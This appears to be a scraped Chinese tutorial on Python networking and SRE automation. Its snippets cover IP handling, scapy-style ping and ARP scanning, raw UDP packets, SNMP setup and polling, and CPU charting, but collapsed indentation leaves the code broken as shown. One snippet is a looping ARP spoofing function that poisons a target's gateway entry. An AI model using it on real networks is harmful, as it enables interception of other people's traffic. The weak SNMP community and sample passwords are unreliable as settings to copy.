Python 网络协议与运维自动化预习手册:SRE 工程师必备

Markdown                  # Python 网络协议与运维自动化实战手册                  > SRE 工程师必备｜逐行可运行｜生产可用｜公众号专属版                  ---                  # 0 基础工具模块                  ## 0.1 ipaddress —— IP 地址标准化处理                  ```python                  import ipaddress                  # 解析单个 IPv4 地址                  ip = ipaddress.IPv4Address("192.168.10.20")                  print("IP:", ip)                  print("是否私网:", ip.is_private)                  print("是否回环:", ip.is_loopback)                  # 解析网段并遍历可用主机                  net = ipaddress.IPv4Network("192.168.10.0/24", strict=False)                  print("\n网段:", net.network_address)                  print("广播地址:", net.broadcast_address)                  # 打印前 5 个可用 IP                  for idx, host in enumerate(net.hosts()):                  print(host)                  if idx == 4:                  break

Python                  import winreg                  key_path = r"SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces"                  try:                  with winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, key_path) as key:                  i = 0                  while True:                  try:                  guid = winreg.EnumKey(key, i)                  sub_path = f"{key_path}\\{guid}"                  with winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, sub_path) as sub_key:                  ip, _ = winreg.QueryValueEx(sub_key, "IPAddress")                  if ip:                  print("网卡IP:", ip)                  i += 1                  except OSError:                  break                  except Exception as e:                  print("无权限或非Windows环境")

Bash                  pip install netifaces

Python                  from kamene.all import *                  # 简单 ping                  def ping(ip):                  p = IP(dst=ip)/ICMP()                  resp = sr1(p, timeout=2, verbose=0)                  return resp is not None                  print("192.168.10.1 是否在线:", ping("192.168.10.1"))

Python                  from kamene.all import *                  p = Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst="192.168.10.1")                  p.show()

Python                  from kamene.all import *                  def arp_scan(net):                  p = Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=net)                  ans, _ = srp(p, timeout=2, verbose=0)                  return [{"ip": r.psrc, "mac": r.hwsrc} for s, r in ans]                  hosts = arp_scan("192.168.10.0/24")                  for h in hosts:                  print(h["ip"], h["mac"])

Python                  from kamene.all import *                  import time                  def arp_spoof(target, gw, iface="eth0"):                  while True:                  send(ARP(op=2, pdst=target, psrc=gw), verbose=0)                  time.sleep(1)                  # arp_spoof("192.168.10.20", "192.168.10.1")

Python                  import time                  from functools import wraps                  def timer(func):                  @wraps(func)                  def wrapper(*args, **kwargs):                  t = time.time()                  res = func(*args, **kwargs)                  print(f"{func.__name__} 耗时 {time.time()-t:.2f}s")                  return res                  return wrapper                  @timer                  def test():                  time.sleep(1)                  test()

Python                  from kamene.all import *                  p = IP(dst="192.168.10.1") / ICMP() / b"test"                  p.show()

Python                  from kamene.all import *                  p = IPv6(dst="2001:db8::1") / ICMPv6ND_NS(tgt="2001:db8::1")                  p.show()

Python                  import socket                  def udp_server(host="0.0.0.0", port=9999):                  s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)                  s.bind((host, port))                  while True:                  data, addr = s.recvfrom(1024)                  print(addr, data.decode())                  s.sendto(b"ok", addr)                  udp_server()

Python                  import socket                  import struct                  udp_hdr = struct.pack("!HHHH", 12345, 9999, 8+4, 0)                  data = b"test"                  pkt = udp_hdr + data                  s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_UDP)                  s.sendto(pkt, ("127.0.0.1", 9999))

Bash                  # v2c                  snmp-server community public RO                  snmp-server host 192.168.10.100 version 2c public                  # v3                  snmp-server group v3grp v3 priv                  snmp-server user snmpuser v3grp v3 auth sha Auth@123 priv aes128 Priv@123

Bash                  pip install pysnmp

Python                  from pysnmp.hlapi import *                  def snmp_get(ip, community, oid):                  errInd, errStat, errIdx, varBinds = next(                  getCmd(SnmpEngine(),                  CommunityData(community),                  UdpTransportTarget((ip, 161)),                  ContextData(),                  ObjectType(ObjectIdentity(oid)))                  )                  if not errInd and not errStat:                  return varBinds[0][1]                  # 系统描述                  print(snmp_get("192.168.10.2", "public", "1.3.6.1.2.1.1.1.0"))

Python                  import matplotlib.pyplot as plt                  plt.rcParams["font.sans-serif"] = ["WenQuanYi Zen Hei", "SimHei"]                  plt.rcParams["axes.unicode_minus"] = False

Python                  import sqlite3                  import time                  from pysnmp.hlapi import *                  import matplotlib.pyplot as plt                  # 建库                  conn = sqlite3.connect("snmp.db")                  c = conn.cursor()                  c.execute("CREATE TABLE IF NOT EXISTS cpu (ts TEXT, val REAL)")                  conn.commit()                  conn.close()                  # 采集                  def get_cpu(ip, com):                  return snmp_get(ip, com, "1.3.6.1.4.1.9.2.1.57.0")                  # 入库                  for _ in range(5):                  val = get_cpu("192.168.10.2", "public")                  ts = time.strftime("%H:%M:%S")                  conn = sqlite3.connect("snmp.db")                  c = conn.cursor()                  c.execute("INSERT INTO cpu VALUES (?, ?)", (ts, float(val)))                  conn.commit()                  conn.close()                  time.sleep(10)                  # 绘图                  conn = sqlite3.connect("snmp.db")                  c = conn.cursor()                  rows = c.execute("SELECT * FROM cpu").fetchall()                  conn.close()                  ts = [r[0] for r in rows]                  val = [r[1] for r in rows]                  plt.plot(ts, val)                  plt.title("CPU 使用率")                  plt.xticks(rotation=45)                  plt.tight_layout()                  plt.savefig("cpu.png")